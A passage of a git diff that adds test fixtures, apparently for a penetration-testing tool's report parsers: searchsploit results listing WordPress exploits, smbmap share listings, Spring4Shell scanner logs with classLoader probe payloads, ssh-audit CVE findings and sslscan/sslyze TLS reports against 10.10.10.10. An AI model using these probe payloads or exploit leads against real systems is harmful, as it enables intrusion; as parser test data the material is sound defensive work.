Scripting","EDB-ID":"24991","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24991.txt"}, + {"Title":"WordPress Core 1.2.1/1.2.2 - 'link-manager.php' Multiple Cross-Site Scripting Vulnerabilities","EDB-ID":"24992","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24992.txt"}, + {"Title":"WordPress Core 1.2.1/1.2.2 - 'moderation.php?item_approved' Cross-Site Scripting","EDB-ID":"24993","Date":"1970-01-01","Author":"Thomas Waldegger","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/24993.txt"}, + {"Title":"WordPress Core 1.5.1.1 < 2.2.2 - Multiple Vulnerabilities","EDB-ID":"4397","Date":"1970-01-01","Author":"Lance M. Havok","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/4397.rb"}, + {"Title":"WordPress Core 2.0 < 2.7.1 - 'admin.php' Module Configuration Security Bypass","EDB-ID":"10088","Date":"1970-01-01","Author":"Fernando Arnaboldi","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/10088.txt"}, + {"Title":"WordPress Core 2.1.1 - '/wp-includes/theme.php?iz' Arbitrary Command Execution","EDB-ID":"29702","Date":"1970-01-01","Author":"Ivan Fratric","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29702.txt"}, + {"Title":"WordPress Core 2.1.1 - 'post.php' Cross-Site Scripting","EDB-ID":"29682","Date":"1970-01-01","Author":"Samenspender","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29682.txt"}, + {"Title":"WordPress Core 2.1.1 - Arbitrary Command Execution","EDB-ID":"29701","Date":"1970-01-01","Author":"Ivan Fratric","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29701.txt"}, + {"Title":"WordPress Core 2.1.1 - Multiple Cross-Site Scripting Vulnerabilities","EDB-ID":"29684","Date":"1970-01-01","Author":"Stefan Friedli","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29684.txt"}, + {"Title":"WordPress Core 2.1.2 - 'xmlrpc' SQL Injection","EDB-ID":"3656","Date":"1970-01-01","Author":"Sumit Siddharth","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/3656.pl"}, + {"Title":"WordPress Core 2.1.3 - 'admin-ajax.php' SQL Injection Blind Fishing","EDB-ID":"3960","Date":"1970-01-01","Author":"waraxe","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/3960.php"}, + {"Title":"WordPress Core < 2.1.2 - 'PHP_Self' Cross-Site Scripting","EDB-ID":"29754","Date":"1970-01-01","Author":"Alexander Concha","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/29754.html"}, + {"Title":"WordPress Core < 2.8.5 - Unrestricted Arbitrary File Upload / Arbitrary PHP Code Execution","EDB-ID":"10089","Date":"1970-01-01","Author":"Dawid Golunski","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/10089.txt"}, + {"Title":"WordPress Core < 4.0.1 - Denial of Service","EDB-ID":"35414","Date":"1970-01-01","Author":"Javer Nieto & Andres Rojas","Type":"dos","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/dos/35414.txt"}, + {"Title":"WordPress Core < 4.7.1 - Username Enumeration","EDB-ID":"41497","Date":"1970-01-01","Author":"Dctor","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/41497.php"}, + {"Title":"WordPress Core < 4.7.4 - Unauthorized Password Reset","EDB-ID":"41963","Date":"1970-01-01","Author":"Dawid Golunski","Type":"webapps","Platform":"linux","Path":"/usr/share/exploitdb/exploits/linux/webapps/41963.txt"}, + {"Title":"WordPress Core < 4.9.6 - (Authenticated) Arbitrary File Deletion","EDB-ID":"44949","Date":"1970-01-01","Author":"VulnSpy","Type":"webapps","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/webapps/44949.txt"}, + {"Title":"WordPress Core < 5.2.3 - Viewing Unauthenticated/Password/Private Posts","EDB-ID":"47690","Date":"1970-01-01","Author":"Sebastian Neef","Type":"webapps","Platform":"multiple","Path":"/usr/share/exploitdb/exploits/multiple/webapps/47690.md"}, + {"Title":"WordPress Core < 5.3.x - 'xmlrpc.php' Denial of Service","EDB-ID":"47800","Date":"1970-01-01","Author":"roddux","Type":"dos","Platform":"php","Path":"/usr/share/exploitdb/exploits/php/dos/47800.py"} + ], + "DB_PATH_SHELLCODE": "/usr/share/exploitdb", + "RESULTS_SHELLCODE": [ ] +} diff --git a/src/backend/tests/data/reports/searchsploit/nothing.json b/src/backend/tests/data/reports/searchsploit/nothing.json new file mode 100644 index 000000000..872d626bb --- /dev/null +++ b/src/backend/tests/data/reports/searchsploit/nothing.json @@ -0,0 +1,7 @@ +{ + "SEARCH": "Nothing", + "DB_PATH_EXPLOIT": "/usr/share/exploitdb", + "RESULTS_EXPLOIT": [ ], + "DB_PATH_SHELLCODE": "/usr/share/exploitdb", + "RESULTS_SHELLCODE": [ ] +} diff --git a/src/backend/tests/data/reports/smbmap/directories.txt b/src/backend/tests/data/reports/smbmap/directories.txt new file mode 100644 index 000000000..38ab9d5a5 --- /dev/null +++ b/src/backend/tests/data/reports/smbmap/directories.txt @@ -0,0 +1,8 @@ +[+] Guest session IP: 10.10.10.10:445 Name: 10.10.10.10 + Disk Permissions Comment + ---- ----------- ------- + shared READ, WRITE + .\shared\* + dr--r--r-- 0 Fri Mar 18 18:51:40 2022 . + dr--r--r-- 0 Fri Mar 18 17:58:29 2022 .. + IPC$ NO ACCESS IPC Service (Samba 4.5.4) diff --git a/src/backend/tests/data/reports/smbmap/shares.txt b/src/backend/tests/data/reports/smbmap/shares.txt new file mode 100644 index 000000000..24497f890 --- /dev/null +++ b/src/backend/tests/data/reports/smbmap/shares.txt @@ -0,0 +1,5 @@ +[+] Guest session IP: 10.10.10.10:445 Name: 10.10.10.10 + Disk Permissions Comment + ---- ----------- ------- + shared READ, WRITE + IPC$ NO ACCESS IPC Service (Samba 4.5.4) \ No newline at end of file diff --git a/src/backend/tests/data/reports/spring4shell_scan/cve_2022_22963.txt b/src/backend/tests/data/reports/spring4shell_scan/cve_2022_22963.txt new file mode 100644 index 000000000..9ad590a66 --- /dev/null +++ b/src/backend/tests/data/reports/spring4shell_scan/cve_2022_22963.txt @@ -0,0 +1,12 @@ +[•] CVE-2022-22965 - Spring4Shell RCE Scanner +[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. +[•] Secure your External Attack Surface with FullHunt.io. +[•] URL: http://10.10.10.10 +[%] Checking for Spring4Shell RCE CVE-2022-22965. +[•] URL: http://10.10.10.10 | PAYLOAD: class.module.classLoader[9vdxfet]=9vdxfet +[•] Target does not seem to be vulnerable. +[%] Checking for Spring Cloud RCE CVE-2022-22963. +[•] URL: http://10.10.10.10/functionRouter +[!!!] Target Affected (CVE-2022-22963) +[!] Total Vulnerable Hosts: 1 +[!] http://10.10.10.10 \ No newline at end of file diff --git a/src/backend/tests/data/reports/spring4shell_scan/cve_2022_22965.txt b/src/backend/tests/data/reports/spring4shell_scan/cve_2022_22965.txt new file mode 100644 index 000000000..c532783b7 --- /dev/null +++ b/src/backend/tests/data/reports/spring4shell_scan/cve_2022_22965.txt @@ -0,0 +1,12 @@ +[•] CVE-2022-22965 - Spring4Shell RCE Scanner +[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. +[•] Secure your External Attack Surface with FullHunt.io. +[•] URL: http://10.10.10.10 +[%] Checking for Spring4Shell RCE CVE-2022-22965. +[•] URL: http://10.10.10.10 | PAYLOAD: class.module.classLoader[83p30yu]=83p30yu +[!!!] Target Affected (CVE-2022-22965) +[%] Checking for Spring Cloud RCE CVE-2022-22963. +[•] URL: http://10.10.10.10/functionRouter +[•] Target does not seem to be vulnerable. +[!] Total Vulnerable Hosts: 1 +[!] http://10.10.10.10 \ No newline at end of file diff --git a/src/backend/tests/data/reports/spring4shell_scan/not_vulnerable.txt b/src/backend/tests/data/reports/spring4shell_scan/not_vulnerable.txt new file mode 100644 index 000000000..0eae2906e --- /dev/null +++ b/src/backend/tests/data/reports/spring4shell_scan/not_vulnerable.txt @@ -0,0 +1,10 @@ +[•] CVE-2022-22965 - Spring4Shell RCE Scanner +[•] Scanner provided by FullHunt.io - The Next-Gen Attack Surface Management Platform. +[•] Secure your External Attack Surface with FullHunt.io. +[•] URL: http://10.10.10.10 +[%] Checking for Spring4Shell RCE CVE-2022-22965. +[•] URL: http://10.10.10.10 | PAYLOAD: class.module.classLoader[knzqc58]=knzqc58 +EXCEPTION: HTTPConnectionPool(host='10.10.10.10', port=80): Read timed out. (read timeout=4) +EXCEPTION: HTTPConnectionPool(host='10.10.10.10', port=80): Read timed out. (read timeout=4) +[•] Target does not seem to be vulnerable. +[•] No affected targets were discovered. \ No newline at end of file diff --git a/src/backend/tests/data/reports/ssh_audit/cve_2018_10933.txt b/src/backend/tests/data/reports/ssh_audit/cve_2018_10933.txt new file mode 100644 index 000000000..1912bd52f --- /dev/null +++ b/src/backend/tests/data/reports/ssh_audit/cve_2018_10933.txt @@ -0,0 +1,73 @@ +Starting audit of 10.10.10.10... +(gen) banner: SSH-2.0-libssh_0.8.1 +(gen) software: libssh 0.8.1 +(gen) compatibility: OpenSSH 7.4+ (some functionality from 6.6), Dropbear SSH 2018.76+ (some functionality from 0.52) +(gen) compression: enabled (zlib, zlib@openssh.com) +(cve) CVE-2018-10933 -- (CVSSv2: 6.4) authentication bypass +(kex) curve25519-sha256 -- [info] available since OpenSSH 7.4, Dropbear SSH 2018.76 +(kex) curve25519-sha256@libssh.org -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62 +(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves +(kex) ecdh-sha2-nistp256 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 +(kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves +(kex) ecdh-sha2-nistp384 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 +(kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves +(kex) ecdh-sha2-nistp521 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 +(kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm +(kex) diffie-hellman-group14-sha1 -- [info] available since OpenSSH 3.9, Dropbear SSH 0.53 +(kex) diffie-hellman-group1-sha1 -- [fail] using small 1024-bit modulus +(kex) diffie-hellman-group1-sha1 -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm +(kex) diffie-hellman-group1-sha1 -- [fail] disabled (in client) since OpenSSH 7.0, logjam attack +(kex) diffie-hellman-group1-sha1 -- [warn] using weak hashing algorithm +(kex) diffie-hellman-group1-sha1 -- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28 +(key) ssh-rsa (2048-bit) -- [fail] using weak hashing algorithm +(key) ssh-rsa (2048-bit) -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28 +(key) ssh-rsa (2048-bit) -- [info] a future deprecation notice has been issued in OpenSSH 8.2: https://www.openssh.com/txt/release-8.2 +(enc) chacha20-poly1305@openssh.com -- [info] available since OpenSSH 6.5 +(enc) chacha20-poly1305@openssh.com -- [info] default cipher since OpenSSH 6.9. +(enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52 +(enc) aes192-ctr -- [info] available since OpenSSH 3.7 +(enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52 +(enc) aes256-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm +(enc) aes256-cbc -- [warn] using weak cipher mode +(enc) aes256-cbc -- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.47 +(enc) aes192-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm +(enc) aes192-cbc -- [warn] using weak cipher mode +(enc) aes192-cbc -- [info] available since OpenSSH 2.3.0 +(enc) aes128-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm +(enc) aes128-cbc -- [warn] using weak cipher mode +(enc) aes128-cbc -- [info] available since OpenSSH 2.3.0, Dropbear SSH 0.28 +(enc) blowfish-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm +(enc) blowfish-cbc -- [fail] disabled since Dropbear SSH 0.53 +(enc) blowfish-cbc -- [warn] disabled (in client) since OpenSSH 7.2, legacy algorithm +(enc) blowfish-cbc -- [warn] using weak cipher mode +(enc) blowfish-cbc -- [warn] using small 64-bit block size +(enc) blowfish-cbc -- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28 +(enc) 3des-cbc -- [fail] removed (in server) since OpenSSH 6.7, unsafe algorithm +(enc) 3des-cbc -- [warn] disabled (in client) since OpenSSH 7.4, unsafe algorithm +(enc) 3des-cbc -- [warn] using weak cipher +(enc) 3des-cbc -- [warn] using weak cipher mode +(enc) 3des-cbc -- [warn] using small 64-bit block size +(enc) 3des-cbc -- [info] available since OpenSSH 1.2.2, Dropbear SSH 0.28 +(mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode +(mac) hmac-sha2-256 -- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56 +(mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode +(mac) hmac-sha2-512 -- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56 +(mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode +(mac) hmac-sha1 -- [warn] using weak hashing algorithm +(mac) hmac-sha1 -- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28 +(fin) ssh-rsa: SHA256:ytuGwbpvc9QRltCF9oSbSvyhsNOBaTCLlura//V9Gnw +(fin) ssh-rsa: MD5:34:f3:32:c6:e8:50:23:6a:67:23:bd:58:a3:88:e3:a6 -- [info] do not rely on MD5 fingerprints for server identification; it is insecure for this use case +(rec) -3des-cbc-- enc algorithm to remove +(rec) -aes128-cbc-- enc algorithm to remove +(rec) -aes192-cbc-- enc algorithm to remove +(rec) -aes256-cbc-- enc algorithm to remove +(rec) -blowfish-cbc-- enc algorithm to remove +(rec) -diffie-hellman-group1-sha1-- kex algorithm to remove +(rec) -ecdh-sha2-nistp256-- kex algorithm to remove +(rec) -ssh-rsa-- key algorithm to remove +(rec) +ssh-ed25519-- key algorithm to append +(rec) -diffie-hellman-group14-sha1-- kex algorithm to remove +(rec) -hmac-sha1-- mac algorithm to remove +(rec) -hmac-sha2-256-- mac algorithm to remove +(rec) -hmac-sha2-512-- mac algorithm to remove +(nfo) For hardening guides on common OSes, please see: \ No newline at end of file diff --git a/src/backend/tests/data/reports/ssh_audit/cve_2018_15473.txt b/src/backend/tests/data/reports/ssh_audit/cve_2018_15473.txt new file mode 100644 index 000000000..6c8072d8b --- /dev/null +++ b/src/backend/tests/data/reports/ssh_audit/cve_2018_15473.txt @@ -0,0 +1,73 @@ +Starting audit of 10.10.10.10... +(gen) banner: SSH-2.0-OpenSSH_7.7 +(gen) software: OpenSSH 7.7 +(gen) compatibility: OpenSSH 7.4+, Dropbear SSH 2018.76+ +(gen) compression: enabled (zlib@openssh.com) +(cve) CVE-2018-15473 -- (CVSSv2: 5.3) enumerate usernames due to timing discrepencies +(kex) curve25519-sha256 -- [info] available since OpenSSH 7.4, Dropbear SSH 2018.76 +(kex) curve25519-sha256@libssh.org -- [info] available since OpenSSH 6.5, Dropbear SSH 2013.62 +(kex) ecdh-sha2-nistp256 -- [fail] using weak elliptic curves +(kex) ecdh-sha2-nistp256 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 +(kex) ecdh-sha2-nistp384 -- [fail] using weak elliptic curves +(kex) ecdh-sha2-nistp384 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 +(kex) ecdh-sha2-nistp521 -- [fail] using weak elliptic curves +(kex) ecdh-sha2-nistp521 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 +(kex) diffie-hellman-group-exchange-sha256 (2048-bit) -- [info] available since OpenSSH 4.4 +(kex) diffie-hellman-group16-sha512 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73 +(kex) diffie-hellman-group18-sha512 -- [info] available since OpenSSH 7.3 +(kex) diffie-hellman-group14-sha256 -- [info] available since OpenSSH 7.3, Dropbear SSH 2016.73 +(kex) diffie-hellman-group14-sha1 -- [warn] using weak hashing algorithm +(kex) diffie-hellman-group14-sha1 -- [info] available since OpenSSH 3.9, Dropbear SSH 0.53 +(key) ssh-rsa (2048-bit) -- [fail] using weak hashing algorithm +(key) ssh-rsa (2048-bit) -- [info] available since OpenSSH 2.5.0, Dropbear SSH 0.28 +(key) ssh-rsa (2048-bit) -- [info] a future deprecation notice has been issued in OpenSSH 8.2: https://www.openssh.com/txt/release-8.2 +(key) rsa-sha2-512 (2048-bit) -- [info] available since OpenSSH 7.2 +(key) rsa-sha2-256 (2048-bit) -- [info] available since OpenSSH 7.2 +(key) ecdsa-sha2-nistp256 -- [fail] using weak elliptic curves +(key) ecdsa-sha2-nistp256 -- [warn] using weak random number generator could reveal the key +(key) ecdsa-sha2-nistp256 -- [info] available since OpenSSH 5.7, Dropbear SSH 2013.62 +(key) ssh-ed25519 -- [info] available since OpenSSH 6.5 +(enc) chacha20-poly1305@openssh.com -- [info] available since OpenSSH 6.5 +(enc) chacha20-poly1305@openssh.com -- [info] default cipher since OpenSSH 6.9. +(enc) aes128-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52 +(enc) aes192-ctr -- [info] available since OpenSSH 3.7 +(enc) aes256-ctr -- [info] available since OpenSSH 3.7, Dropbear SSH 0.52 +(enc) aes128-gcm@openssh.com -- [info] available since OpenSSH 6.2 +(enc) aes256-gcm@openssh.com -- [info] available since OpenSSH 6.2 +(mac) umac-64-etm@openssh.com -- [warn] using small 64-bit tag size +(mac) umac-64-etm@openssh.com -- [info] available since OpenSSH 6.2 +(mac) umac-128-etm@openssh.com -- [info] available since OpenSSH 6.2 +(mac) hmac-sha2-256-etm@openssh.com -- [info] available since OpenSSH 6.2 +(mac) hmac-sha2-512-etm@openssh.com -- [info] available since OpenSSH 6.2 +(mac) hmac-sha1-etm@openssh.com -- [warn] using weak hashing algorithm +(mac) hmac-sha1-etm@openssh.com -- [info] available since OpenSSH 6.2 +(mac) umac-64@openssh.com -- [warn] using encrypt-and-MAC mode +(mac) umac-64@openssh.com -- [warn] using small 64-bit tag size +(mac) umac-64@openssh.com -- [info] available since OpenSSH 4.7 +(mac) umac-128@openssh.com -- [warn] using encrypt-and-MAC mode +(mac) umac-128@openssh.com -- [info] available since OpenSSH 6.2 +(mac) hmac-sha2-256 -- [warn] using encrypt-and-MAC mode +(mac) hmac-sha2-256 -- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56 +(mac) hmac-sha2-512 -- [warn] using encrypt-and-MAC mode +(mac) hmac-sha2-512 -- [info] available since OpenSSH 5.9, Dropbear SSH 2013.56 +(mac) hmac-sha1 -- [warn] using encrypt-and-MAC mode +(mac) hmac-sha1 -- [warn] using weak hashing algorithm +(mac) hmac-sha1 -- [info] available since OpenSSH 2.1.0, Dropbear SSH 0.28 +(fin) ssh-ed25519: SHA256:U6y+etRI+fVmMxDTwFTSDrZCoIl2xG/Ur/6R0cQMamQ +(fin) ssh-ed25519: MD5:4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 -- [info] do not rely on MD5 fingerprints for server identification; it is insecure for this use case +(fin) ssh-rsa: SHA256:dsUn+gzli73a8Qq2qrCyXwerF566QDQdNsaVRENC2Rg +(fin) ssh-rsa: MD5:1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce -- [info] do not rely on MD5 fingerprints for server identification; it is insecure for this use case +(rec) -ecdh-sha2-nistp256-- kex algorithm to remove +(rec) -ecdh-sha2-nistp384-- kex algorithm to remove +(rec) -ecdh-sha2-nistp521-- kex algorithm to remove +(rec) -ecdsa-sha2-nistp256-- key algorithm to remove +(rec) -ssh-rsa-- key algorithm to remove +(rec) -diffie-hellman-group14-sha1-- kex algorithm to remove +(rec) -hmac-sha1-- mac algorithm to remove +(rec) -hmac-sha1-etm@openssh.com-- mac algorithm to remove +(rec) -hmac-sha2-256-- mac algorithm to remove +(rec) -hmac-sha2-512-- mac algorithm to remove +(rec) -umac-128@openssh.com-- mac algorithm to remove +(rec) -umac-64-etm@openssh.com-- mac algorithm to remove +(rec) -umac-64@openssh.com-- mac algorithm to remove +(nfo) For hardening guides on common OSes, please see: \ No newline at end of file diff --git a/src/backend/tests/data/reports/sslscan/heartbleed.xml b/src/backend/tests/data/reports/sslscan/heartbleed.xml new file mode 100644 index 000000000..4d0fedde1 --- /dev/null +++ b/src/backend/tests/data/reports/sslscan/heartbleed.xml @@ -0,0 +1,48 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sha256WithRSAEncryption + + + + + false + Jul 21 00:00:00 2020 GMT + Sep 8 12:00:00 2022 GMT + false + + + + diff --git a/src/backend/tests/data/reports/sslscan/insecure-renegotiation.xml b/src/backend/tests/data/reports/sslscan/insecure-renegotiation.xml new file mode 100644 index 000000000..deaa7bf1f --- /dev/null +++ b/src/backend/tests/data/reports/sslscan/insecure-renegotiation.xml @@ -0,0 +1,42 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sha256WithRSAEncryption + + + + + false + Sep 9 00:00:00 2021 GMT + Sep 16 23:59:59 2022 GMT + false + + + + diff --git a/src/backend/tests/data/reports/sslscan/protocols.xml b/src/backend/tests/data/reports/sslscan/protocols.xml new file mode 100644 index 000000000..e5ee2bc6a --- /dev/null +++ b/src/backend/tests/data/reports/sslscan/protocols.xml @@ -0,0 +1,55 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sha256WithRSAEncryption + + + + + false + Jan 6 06:34:58 2022 GMT + Jan 4 06:34:58 2030 GMT + false + + + + diff --git a/src/backend/tests/data/reports/sslyze/insecure-renegotiation.json b/src/backend/tests/data/reports/sslyze/insecure-renegotiation.json new file mode 100644 index 000000000..7f4051d13 --- /dev/null +++ b/src/backend/tests/data/reports/sslyze/insecure-renegotiation.json @@ -0,0 +1,4316 @@ +{ + "date_scans_completed": "2022-02-19T10:47:59.466734", + "date_scans_started": "2022-02-19T10:46:56.576539", + "server_scan_results": [ + { + "connectivity_error_trace": null, + "connectivity_result": { + "cipher_suite_supported": "DHE-RSA-AES256-SHA", + "client_auth_requirement": "DISABLED", + "highest_tls_version_supported": "TLS_1_0", + "supports_ecdh_key_exchange": false + }, + "connectivity_status": "COMPLETED", + "network_configuration": { + "network_max_retries": 3, + "network_timeout": 5, + "tls_client_auth_credentials": null, + "tls_opportunistic_encryption": null, + "tls_server_name_indication": "10.10.10.10", + "xmpp_to_hostname": null + }, + "scan_result": { + "certificate_info": { + "error_reason": null, + "error_trace": null, + "result": { + "certificate_deployments": [ + { + "leaf_certificate_has_must_staple_extension": false, + "leaf_certificate_is_ev": false, + "leaf_certificate_signed_certificate_timestamps_count": 3, + "leaf_certificate_subject_matches_hostname": true, + "ocsp_response": null, + "ocsp_response_is_trusted": null, + "path_validation_results": [ + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": null, + "name": "Android", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/google_aosp.pem", + "version": "12.0.0_r9" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + }, + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": null, + "name": "Apple", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/apple.pem", + "version": "iOS 15, iPadOS 15, macOS 12, tvOS 15, and watchOS 8" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + }, + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": null, + "name": "Java", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/oracle_java.pem", + "version": "jdk-13.0.2" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + }, + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": [ + { + "dotted_string": "1.2.276.0.44.1.1.1.4", + "name": "Unknown OID" + }, + { + "dotted_string": "1.2.392.200091.100.721.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.2.40.0.17.1.22", + "name": "Unknown OID" + }, + { + "dotted_string": "1.2.616.1.113527.2.5.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.159.1.17.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.13177.10.1.3.10", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.14370.1.6", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.14777.6.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.14777.6.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.14.2.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.14.2.2.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.8.12.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.17326.10.8.12.2.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.22234.2.5.2.3.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.23223.1.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.29836.1.10", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.3", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.34697.2.4", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.36305.2", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.40869.1.1.22.3", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.4146.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.4788.2.202.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.6334.1.100.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.6449.1.2.1.5.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.782.1.2.1.8.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.7879.13.24.1", + "name": "Unknown OID" + }, + { + "dotted_string": "1.3.6.1.4.1.8024.0.2.100.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.156.112554.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.528.1.1003.1.2.7", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.578.1.26.1.3.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.756.1.83.21.0", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.756.1.89.1.2.1.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.792.3.0.3.1.1.5", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.792.3.0.4.1.1.4", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.113733.1.7.23.6", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.113733.1.7.48.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114028.10.1.2", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114171.500.9", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114404.1.1.2.4.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114412.2.1", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114413.1.7.23.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114414.1.7.23.3", + "name": "Unknown OID" + }, + { + "dotted_string": "2.16.840.1.114414.1.7.24.3", + "name": "Unknown OID" + } + ], + "name": "Mozilla", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/mozilla_nss.pem", + "version": "2021-12-19" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + }, + { + "openssl_error_string": "unable to get local issuer certificate", + "trust_store": { + "ev_oids": null, + "name": "Windows", + "path": "/usr/lib/python3/dist-packages/sslyze/plugins/certificate_info/trust_stores/pem_files/microsoft_windows.pem", + "version": "2021-11-28" + }, + "verified_certificate_chain": null, + "was_validation_successful": false + } + ], + "received_certificate_chain": [ + { + "as_pem": "-----BEGIN 